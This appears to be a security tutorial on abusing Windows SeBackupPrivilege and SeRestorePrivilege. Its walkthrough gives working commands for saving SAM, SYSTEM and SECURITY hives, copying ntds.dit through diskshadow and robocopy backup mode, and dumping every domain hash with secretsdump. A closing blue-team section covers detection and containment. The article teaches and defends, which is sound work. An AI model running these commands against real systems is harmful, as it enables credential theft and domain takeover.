Disclaimer: This article is for educational purposes and authorized security testing only. Only run these techniques against systems you own or have explicit, written permission to test. Unauthorized access to computer systems is illegal in virtually every jurisdiction.
Introduction / Overview
Windows privileges are not all created equal. A handful of them are effectively "game over" the moment your token holds them, even when you are not a member of the Administrators group. Two of the most powerful are SeBackupPrivilege ("Back up files and directories") and SeRestorePrivilege ("Restore files and directories").
These privileges are granted to the built-in Backup Operators group, and they are also frequently delegated to service accounts, backup software accounts, and helpdesk roles. In this article you'll learn:
- Why
SeBackupPrivilegelets you bypass NTFS DACLs and read files you have no permission to open. - How to extract the local
SAMandSYSTEMhives for offline credential extraction. - How to copy
ntds.ditoff a Domain Controller to dump every domain hash. - How blue teams detect and contain this abuse.
This is a textbook privilege-escalation-to-credential-access pivot and maps to MITRE ATT&CK T1003 OS Credential Dumping.
How it works / Background
NTFS access checks normally compare your token against each file's DACL. SeBackupPrivilege short-circuits that: when a process opens a handle with the FILE_FLAG_BACKUP_SEMANTICS flag and requests backup intent, the kernel grants access if the privilege is present, ignoring the DACL. The Win32 API path is CreateFile() with FILE_FLAG_BACKUP_SEMANTICS; the equivalent rights are READ_CONTROL | ACCESS_SYSTEM_SECURITY.
SeRestorePrivilege is the mirror image: it lets you write files (and set ownership/ACLs) while bypassing the DACL, intended so backup software can restore data into protected locations.
The catch for an attacker is that locked files (like the live registry hives or ntds.dit) are held open by the kernel/lsass, so you cannot simply copy them. There are three reliable ways around this:
reg save— the Registry API exposes a backup function (RegSaveKey) that respectsSeBackupPrivilegeand produces a consistent hive snapshot without needing the raw file handle.- Volume Shadow Copy (
diskshadow) — create a point-in-time snapshot of the volume, then copy the now-unlocked file out of the shadow. robocopy /b— Robocopy's backup mode opens files using backup semantics, which honorsSeBackupPrivilege.
Prerequisites / Lab setup
- A Windows host (workstation or Domain Controller) where your compromised account is a member of Backup Operators, or otherwise holds the privileges.
- A foothold shell (WinRM/
evil-winrm, RDP, or a reverse shell). - An offline cracking/parsing host with
impacket(secretsdump.py) installed.
First, confirm the privileges are actually present and enabled in your token:
whoami /priv
Look for SeBackupPrivilege and SeRestorePrivilege with state Enabled. If they show as Disabled, they are still in the token and most tools (or a helper like SeBackupPrivilegeUtils) can enable them on demand — the presence in the list is what matters.
Attack walkthrough / PoC
Case 1: Local SAM/SYSTEM on a member host
The local account hashes live in the SAM hive, encrypted with the boot key stored in SYSTEM. With SeBackupPrivilege you can save both:
reg save HKLM\SAM C:\Temp\SAM.hive
reg save HKLM\SYSTEM C:\Temp\SYSTEM.hive
reg save HKLM\SECURITY C:\Temp\SECURITY.hive
Exfiltrate them (SMB, evil-winrm's download, etc.) and parse offline with impacket:
secretsdump.py -sam SAM.hive -system SYSTEM.hive -security SECURITY.hive LOCAL
SECURITY is optional but worth grabbing — it yields cached domain logons (DCC2) and LSA secrets, which often include service-account plaintext passwords.
Case 2: Copying ntds.dit off a Domain Controller
On a DC, the crown jewels are in ntds.dit (the AD database) plus the SYSTEM hive for the boot key. ntds.dit is locked by lsass, so reg save won't help here — we need a shadow copy or robocopy backup mode.
Option A — diskshadow. Create a script and feed it to diskshadow:
# shadow.txt
set context persistent nowriters
set metadata C:\Temp\meta.cab
add volume C: alias adshadow
create
expose %adshadow% Z:
diskshadow /s C:\Temp\shadow.txt
The volume is now mounted at Z:. Copy the database and registry out of the snapshot using robocopy /b (backup mode), which lets the copy honor SeBackupPrivilege:
robocopy /b Z:\Windows\NTDS C:\Temp ntds.dit
reg save HKLM\SYSTEM C:\Temp\SYSTEM.hive
Option B — robocopy backup mode against the live volume. If you'd rather skip the shadow plumbing, robocopy /b alone can read open/locked files in many configurations because it uses FILE_FLAG_BACKUP_SEMANTICS:
robocopy /b C:\Windows\NTDS C:\Temp ntds.dit
Then dump every domain hash offline:
secretsdump.py -ntds ntds.dit -system SYSTEM.hive LOCAL
This yields the NTLM hash of every domain account, including krbtgt — which is exactly what you need to forge a Golden Ticket. See Golden Ticket attacks and DCSync explained for what to do with those hashes next.
Case 3: SeRestorePrivilege-only paths
If you hold SeRestorePrivilege but not SeBackupPrivilege, the abuse shifts to writing protected files. Classic primitives include overwriting a binary that runs as SYSTEM, dropping a malicious DLL into a hijackable load path, or modifying utilman.exe/sethc.exe semantics. You can also write a service binary path or replace a privileged scheduled-task target. The key point: write-anywhere plus an auto-elevating trigger equals SYSTEM. For DLL hijack mechanics, see DLL hijacking.
Mermaid diagram

Flow: a Backup Operator confirms the privilege, dumps either local hives or ntds.dit, parses them offline with secretsdump, and pivots to domain compromise.
Detection & Defense (Blue Team)
Treat membership in privileged backup roles as Tier-0 and monitor it like Domain Admin.
Reduce exposure
- Audit the Backup Operators group and the "Back up files and directories" / "Restore files and directories" user-rights assignments (
SeBackupPrivilege/SeRestorePrivilege) viasecedit /exportor GPOComputer Configuration > Windows Settings > Security Settings > Local Policies > User Rights Assignment. Remove standing membership; grant it just-in-time. - Run backup software under a dedicated, tightly scoped account, and never let interactive/helpdesk users inherit these rights.
- On Domain Controllers, restrict who can log on at all (Allow log on locally / through Remote Desktop) so these privileges can't be exercised by lateral movers.
Detect
- 4672 — Special privileges assigned to new logon: alert when
SeBackupPrivilege/SeRestorePrivilegeappear for non-backup accounts or outside backup windows. - 8222 / VSS events and System log Event ID 524 (NTBackup) style activity; monitor for
diskshadow.exeandvssadminexecution, especiallycreate shadow/expose. - Process and command-line auditing (Sysmon Event ID 1) for
reg.exe save,robocopy ... /b, anddiskshadow /s. The combination ofreg save HKLM\SAMor any access tontds.ditoutside the backup product is high-fidelity. - Object access auditing (4663) on
C:\Windows\NTDS\ntds.ditand on the SAM/SYSTEM hive files — backup software has a known, allowlistable pattern; anything else is suspicious. - EDR file-handle telemetry: opens of
ntds.ditor registry hives withFILE_FLAG_BACKUP_SEMANTICSfrom non-backup binaries.
Contain
- Rotate any credentials that may have been dumped. If
ntds.ditwas touched, treat the domain as compromised: rotatekrbtgttwice, then reset privileged accounts. - Enable Credential Guard and LSA protection to raise the cost of complementary credential theft, and keep offline hive copies (and shadow exposures) from lingering on disk.
Conclusion
SeBackupPrivilege and SeRestorePrivilege are a reminder that "not an admin" is not the same as "not dangerous." A single Backup Operator membership lets an attacker bypass NTFS DACLs, snapshot the registry and ntds.dit, and walk away with every hash in the domain. Defenders should treat these user rights as Tier-0, grant them just-in-time, and alert on the very specific tooling (reg save, diskshadow, robocopy /b) that abuse requires.
References
- MITRE ATT&CK — T1003 OS Credential Dumping and T1003.003 NTDS
- MITRE ATT&CK — T1078.003 Valid Accounts: Local Accounts
- HackTricks — SeBackupPrivilege / SeRestorePrivilege abuse
- Microsoft Docs — Privilege Constants (SeBackupPrivilege)
- Microsoft Docs — Back up files and directories / Restore files and directories
- Impacket — secretsdump.py



Comments